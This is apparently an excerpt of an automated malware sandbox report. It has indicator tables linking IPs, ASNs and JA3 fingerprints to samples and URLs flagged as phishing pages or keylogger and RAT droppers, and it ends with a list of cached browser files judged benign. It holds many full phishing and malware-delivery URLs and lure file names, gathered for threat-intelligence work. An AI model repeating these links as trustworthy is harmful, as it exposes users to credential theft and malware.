	http://adf-ask-accessibility-daeeafembaazdzfk.z01.azurefd.net	Get hash	malicious	Unknown	Browse	13.107.246.44
	https://securcomau.gurucan.com/66e8e67dd77b5900129b4800	Get hash	malicious	Unknown	Browse	13.107.246.44
	https://jenskullenius-my.sharepoint.com/:f:/g/personal/ulf_kullenius_gaiabiomaterials_com/EmQl89SiCOBCpbtr01o20eIB9z4rZpQ3dKKrBHn2QJKTxw?e=afHuwm	Get hash	malicious	Unknown	Browse	13.107.246.44
	https://microsoft-emailverify.kodol31658.workers.dev/signin?sso_reload=true/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
code.jquery.com	http://reliant-hornes.co.uk	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	https://www.canva.com/design/DAGSL2lLp_4/lQGTdiRa89y3fkgkaFc-uQ/edit?utm_content=DAGSL2lLp_4&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://u47113775.ct.sendgrid.net/ls/click?upn=u001.NLjCc2NrF5-2Fl1RHefgLH74dDCI-2FlQUMQCuknF0akr34-3DPZ74_Bz-2FoIC9YMuvgy8ZsoekpZ-2Fn96y0OCAueT5LjwQn-2FX25AbFWdd2iGOJMfOUDymLwSDnjLWUuKOfyExMHrLPQc6sWuvBEF4PT9PwlcB-2BK9NQmoQucfLOeGSzPQg4J-2Bvn2C-2FT7DBGI3L6HQml9TPdefbzANw58o8IwtiN3AMNw21dRhcIy1JE5InQL6ZhzyniB-2FPrKB2Vn9uUJ7Mm1QrvUZh95-2FIqg1tkHnn-2FLCgLCOHUCdp1zwu5x-2Fprfv3kPHwI33RA9-2FJGY9xYPl-2BGH4uHP30vXeaFOwuVkWjx1bpQcAiato1uxhbL8AJAqpgT-2Bg5yQp7xXBACsCORIJr0VehkYFdFdFkgZPx7KSQblwloMm5OUc-2B9bb1d0siCBq5u36Pp2iCgmhq5PmipxmWr1HvrLZkdUUXJjpaRdjjEopb-2Fhw3b-2BUOpmNbUIJywjWyMBcUA9ScKtkpotTga2qo5ZaX-2B7AVyqz8KXtUfTb8SopobzuOWPiU-2BhBa8i7lRIGGQBQZmYU1TWv5mQ8uRPPf-2FWdH9RREF8cMLDET4k24yu8dJdqteeATx8Jfw8MWOWehX6ZTxJWGswooAVOvW116fDJmFNO-2F-2BecR-2Fd9NmRwCYnnK4Bh3IM-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://jv.prenticeu.com/SAFlSIeECgRZt_tUKXhAOQHYyqb5e4/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://content.app-us1.com/1REPZ7/2024/09/30/ff91983f-ef4d-4288-b1e8-8d1ab94f757b.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	American-equity Updated Employee sheet .odt	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://formacionadieste.com.de/Vrvz/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://tr.padlet.com/redirect/?url=http://dctools.mooo.com/smileyes/dhe/succes/pure/dad/mom/kid/she/qwerty/careese.pfund@stcotterturbine.com	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	Payment_Notification-Sep27.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://ck.storematch.jp/bc?d=11044D9580EY4W1C2FD019VB3VD27BCW862C0351F9E0EA8-cdlaq4&B=a4f71fd1c235a114f94297e8a0a36c6e&sc_i=shp_pc_promo_mdRMBP_disp_mcad&rd=//interglobalcargoexpress.com/yuuuii#aW5mb0B2b3NzbG9oLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://reliant-hornes.co.uk	Get hash	malicious	HtmlDropper	Browse	104.18.95.41
	WIpGif4IRrFfamQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://trk.mail.ru/c/kruxy7?clickid=mtg66f14a9e6633b800088f731w&mt_campaign=ss_mark_se_ios&mt_creat%20ive=m-%20se23.mp4&mt_gaid=&mt_idfa=&mt_network=mtg1206891918&mt_oaid=&mt_sub1=ss_mark_se_ios&mt_sub2=mtg12068%2091918&mt_sub3=1809824272&mt_sub5=ss_mark_se_ios	Get hash	malicious	Unknown	Browse	104.22.54.104
	http://ek21-cl.asp.cuenote.jp/c/pvwyaadfke3Lf8bG	Get hash	malicious	Unknown	Browse	104.18.208.173
	https://www.canva.com/design/DAGSL2lLp_4/lQGTdiRa89y3fkgkaFc-uQ/edit?utm_content=DAGSL2lLp_4&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	172.64.144.96
	Bank Payment $38,735.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	CANADAXORDER.xls	Get hash	malicious	Snake Keylogger	Browse	172.67.216.244
	ORDER ENQUIRY.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	RFQ-00032035.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Shipping Documents.xls	Get hash	malicious	Remcos	Browse	172.67.216.244
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://radiantlogics-my.sharepoint.com/:f:/g/personal/asharma_radiantlogics_onmicrosoft_com/ErrzGhClH-1EtQegMViR0ycByA4n0Sz6jougdCLyR4Fexw?e=sIngPR	Get hash	malicious	Unknown	Browse	52.104.130.55
	https://rdhomes-my.sharepoint.com/:f:/g/personal/petrina_ryandesignerhomes_com_au/EtwntXraOOdMp3Nx1zZ6gF8Bf8aWSwNn9o_57nz1-Z9h0A?e=arAOsK	Get hash	malicious	Unknown	Browse	40.99.157.18
	https://www.canva.com/design/DAGSL2lLp_4/lQGTdiRa89y3fkgkaFc-uQ/edit?utm_content=DAGSL2lLp_4&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	63670000.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://app.getresponse.com/change_details.html?x=a62b&m=BrgFNl&s=BW9rcZD&u=C3YQM&z=EMkQID6&pt=change_details	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://docs.zoom.us/doc/qMqlDrh-RUWwdmI-mAClTg	Get hash	malicious	HTMLPhisher	Browse	40.126.32.68
	1_13904442253.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://u47113775.ct.sendgrid.net/ls/click?upn=u001.NLjCc2NrF5-2Fl1RHefgLH74dDCI-2FlQUMQCuknF0akr34-3DPZ74_Bz-2FoIC9YMuvgy8ZsoekpZ-2Fn96y0OCAueT5LjwQn-2FX25AbFWdd2iGOJMfOUDymLwSDnjLWUuKOfyExMHrLPQc6sWuvBEF4PT9PwlcB-2BK9NQmoQucfLOeGSzPQg4J-2Bvn2C-2FT7DBGI3L6HQml9TPdefbzANw58o8IwtiN3AMNw21dRhcIy1JE5InQL6ZhzyniB-2FPrKB2Vn9uUJ7Mm1QrvUZh95-2FIqg1tkHnn-2FLCgLCOHUCdp1zwu5x-2Fprfv3kPHwI33RA9-2FJGY9xYPl-2BGH4uHP30vXeaFOwuVkWjx1bpQcAiato1uxhbL8AJAqpgT-2Bg5yQp7xXBACsCORIJr0VehkYFdFdFkgZPx7KSQblwloMm5OUc-2B9bb1d0siCBq5u36Pp2iCgmhq5PmipxmWr1HvrLZkdUUXJjpaRdjjEopb-2Fhw3b-2BUOpmNbUIJywjWyMBcUA9ScKtkpotTga2qo5ZaX-2B7AVyqz8KXtUfTb8SopobzuOWPiU-2BhBa8i7lRIGGQBQZmYU1TWv5mQ8uRPPf-2FWdH9RREF8cMLDET4k24yu8dJdqteeATx8Jfw8MWOWehX6ZTxJWGswooAVOvW116fDJmFNO-2F-2BecR-2Fd9NmRwCYnnK4Bh3IM-3D	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	52.187.43.40
	https://content.app-us1.com/1REPZ7/2024/09/30/ff91983f-ef4d-4288-b1e8-8d1ab94f757b.pdf	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
CLOUDFLARENETUS	http://reliant-hornes.co.uk	Get hash	malicious	HtmlDropper	Browse	104.18.95.41
	WIpGif4IRrFfamQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://trk.mail.ru/c/kruxy7?clickid=mtg66f14a9e6633b800088f731w&mt_campaign=ss_mark_se_ios&mt_creat%20ive=m-%20se23.mp4&mt_gaid=&mt_idfa=&mt_network=mtg1206891918&mt_oaid=&mt_sub1=ss_mark_se_ios&mt_sub2=mtg12068%2091918&mt_sub3=1809824272&mt_sub5=ss_mark_se_ios	Get hash	malicious	Unknown	Browse	104.22.54.104
	http://ek21-cl.asp.cuenote.jp/c/pvwyaadfke3Lf8bG	Get hash	malicious	Unknown	Browse	104.18.208.173
	https://www.canva.com/design/DAGSL2lLp_4/lQGTdiRa89y3fkgkaFc-uQ/edit?utm_content=DAGSL2lLp_4&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse	172.64.144.96
	Bank Payment $38,735.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	CANADAXORDER.xls	Get hash	malicious	Snake Keylogger	Browse	172.67.216.244
	ORDER ENQUIRY.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	RFQ-00032035.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Shipping Documents.xls	Get hash	malicious	Remcos	Browse	172.67.216.244

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://l.facebook.com/l.php?u=https%3A%2F%2Fglossydollyknock.com%2Fw4n3hka2p6%3Fkey%3D4adf7f60948fc97f20eb71a37f488b68%26fbclid%3DIwZXh0bgNhZW0CMTAAAR2sWCkriUyPdlHfdRTPbCt2g8yn2B0gn49apZn-9YDDT6mmSsMKBb63wBg_aem_LHXLb0b6XyEafa9vMdu15Q&h=AT3Q5pc4JYuZUEyX8rr8abFazLnrJX82c0Mzs4joBZygkyzWKVOG4MfAjLuQ9vGazIv4IV-N-QhihzSx2jrkeAjehZSm2YhcT1T0Hz7uxtZvtRIbuTkA_Am76OeQhuopaQ&__tn__=R%5D-R&c%5B0%5D=AT0B8CUrOUWDDhBkBSoY_sR_Q2IdaQRs5o-hIRLRUlMk669issrBSNbduA-V2UNVUT_XZ9QJcwePs_4iUMdBe8WDu2kbum__cQyKqnoqtSz4-dHASRwGlJAYUngRXsgxmoYUj9q1YNGw0-hNPPtRpfV-WyB5ptMMsMbm355vN9Vz8k6D9ZXB_vjILzh8k0OO_w_zawh-IINi5cndpF3-4aGCWeoOMMG3q1NB8mKT_pQljubmHEwtBLrB3RTViT2btvA	Get hash	malicious	Anonymous Proxy	Browse	173.222.162.64
	file.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://app.getresponse.com/change_details.html?x=a62b&m=BrgFNl&s=BW9rcZD&u=C3YQM&z=EMkQID6&pt=change_details	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=rCxHFZLdZUGNvhn9cgWChLhuCDtpfZJDs2F6orjCzx1UQTZXSUlaNE5INzZVSkgxRlBKR1RMSTVRTi4u	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	file.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://taplink.cc/universalgrc	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	https://radiantlogics-my.sharepoint.com/:f:/g/personal/asharma_radiantlogics_onmicrosoft_com/ErrzGhClH-1EtQegMViR0ycByA4n0Sz6jougdCLyR4Fexw?e=sIngPR	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	https://rdhomes-my.sharepoint.com/:f:/g/personal/petrina_ryandesignerhomes_com_au/EtwntXraOOdMp3Nx1zZ6gF8Bf8aWSwNn9o_57nz1-Z9h0A?e=arAOsK	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	http://reliant-hornes.co.uk	Get hash	malicious	HtmlDropper	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	Deolane-Video-PDF.vbs	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	https://thubanoa.com/1?z=8001368	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	file.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	http://www.coolcatalogue.eu/np/cool2024/hu/files/content-page/55a9d7862d5de5084903c7ae3adf5dff.zip	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	https://trk.mail.ru/c/kruxy7?clickid=mtg66f14a9e6633b800088f731w&mt_campaign=ss_mark_se_ios&mt_creat%20ive=m-%20se23.mp4&mt_gaid=&mt_idfa=&mt_network=mtg1206891918&mt_oaid=&mt_sub1=ss_mark_se_ios&mt_sub2=mtg12068%2091918&mt_sub3=1809824272&mt_sub5=ss_mark_se_ios	Get hash	malicious	Unknown	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	https://l.facebook.com/l.php?u=https%3A%2F%2Fglossydollyknock.com%2Fw4n3hka2p6%3Fkey%3D4adf7f60948fc97f20eb71a37f488b68%26fbclid%3DIwZXh0bgNhZW0CMTAAAR2sWCkriUyPdlHfdRTPbCt2g8yn2B0gn49apZn-9YDDT6mmSsMKBb63wBg_aem_LHXLb0b6XyEafa9vMdu15Q&h=AT3Q5pc4JYuZUEyX8rr8abFazLnrJX82c0Mzs4joBZygkyzWKVOG4MfAjLuQ9vGazIv4IV-N-QhihzSx2jrkeAjehZSm2YhcT1T0Hz7uxtZvtRIbuTkA_Am76OeQhuopaQ&__tn__=R%5D-R&c%5B0%5D=AT0B8CUrOUWDDhBkBSoY_sR_Q2IdaQRs5o-hIRLRUlMk669issrBSNbduA-V2UNVUT_XZ9QJcwePs_4iUMdBe8WDu2kbum__cQyKqnoqtSz4-dHASRwGlJAYUngRXsgxmoYUj9q1YNGw0-hNPPtRpfV-WyB5ptMMsMbm355vN9Vz8k6D9ZXB_vjILzh8k0OO_w_zawh-IINi5cndpF3-4aGCWeoOMMG3q1NB8mKT_pQljubmHEwtBLrB3RTViT2btvA	Get hash	malicious	Anonymous Proxy	Browse	184.28.90.27 52.165.165.26 20.114.59.183
	RFQ-00032035.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	184.28.90.27 52.165.165.26 20.114.59.183
3b5074b1b5d032e5620f69f9f700ff0e	WIpGif4IRrFfamQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.115.3.253
	https://l.facebook.com/l.php?u=https%3A%2F%2Fglossydollyknock.com%2Fw4n3hka2p6%3Fkey%3D4adf7f60948fc97f20eb71a37f488b68%26fbclid%3DIwZXh0bgNhZW0CMTAAAR2sWCkriUyPdlHfdRTPbCt2g8yn2B0gn49apZn-9YDDT6mmSsMKBb63wBg_aem_LHXLb0b6XyEafa9vMdu15Q&h=AT3Q5pc4JYuZUEyX8rr8abFazLnrJX82c0Mzs4joBZygkyzWKVOG4MfAjLuQ9vGazIv4IV-N-QhihzSx2jrkeAjehZSm2YhcT1T0Hz7uxtZvtRIbuTkA_Am76OeQhuopaQ&__tn__=R%5D-R&c%5B0%5D=AT0B8CUrOUWDDhBkBSoY_sR_Q2IdaQRs5o-hIRLRUlMk669issrBSNbduA-V2UNVUT_XZ9QJcwePs_4iUMdBe8WDu2kbum__cQyKqnoqtSz4-dHASRwGlJAYUngRXsgxmoYUj9q1YNGw0-hNPPtRpfV-WyB5ptMMsMbm355vN9Vz8k6D9ZXB_vjILzh8k0OO_w_zawh-IINi5cndpF3-4aGCWeoOMMG3q1NB8mKT_pQljubmHEwtBLrB3RTViT2btvA	Get hash	malicious	Anonymous Proxy	Browse	40.113.110.67 40.115.3.253
	Bank Payment $38,735.exe	Get hash	malicious	AgentTesla	Browse	40.113.110.67 40.115.3.253
	RFQ-00032035.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	40.113.110.67 40.115.3.253
	Aj#U00e1nlatk#U00e9r#U00e9s 09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	40.113.110.67 40.115.3.253
	18000012550_20240930_0078864246#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	40.113.110.67 40.115.3.253
	PRORA#U010cUNSKA ZAHTEVA 09-30-2024#U00b7pdf.vbe	Get hash	malicious	GuLoader, Lokibot	Browse	40.113.110.67 40.115.3.253
	A 413736796#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	40.113.110.67 40.115.3.253
	Solicitud de presupuesto 09-30-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	40.113.110.67 40.115.3.253
	Scanned Purchase List.vbs	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	high, very likely benign file
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65464), with CRLF line terminators
Category:	dropped
Size (bytes):	562333
Entropy (8bit):	4.934723165550033
Encrypted:	false
SSDEEP:	6144:KSXomQKfDLlEBsDbtA5nH8cSndT+M83OpfRLc4:KSXocLl2sDbu5nH83Ztv
MD5:	8D124A28E2794CB30072930B9F1E301A
SHA1:	9DA7278362D7B895025C7D6E1F00805DBBFD51AB
SHA-256:	32946E3E0B2CFB3BFC28256F3C6AE297ABB7F9E094F010AA5687BBEF85E5A134
SHA-512:	87B8B225F4FFD7337B37C14A0BAB23E151B07509BF184C28DE1E6261DA8C979EA42AF15A05A200210EC26761D5589CB1CBD90E9973048DA0C55B708BDFCFAB26
Malicious:	false
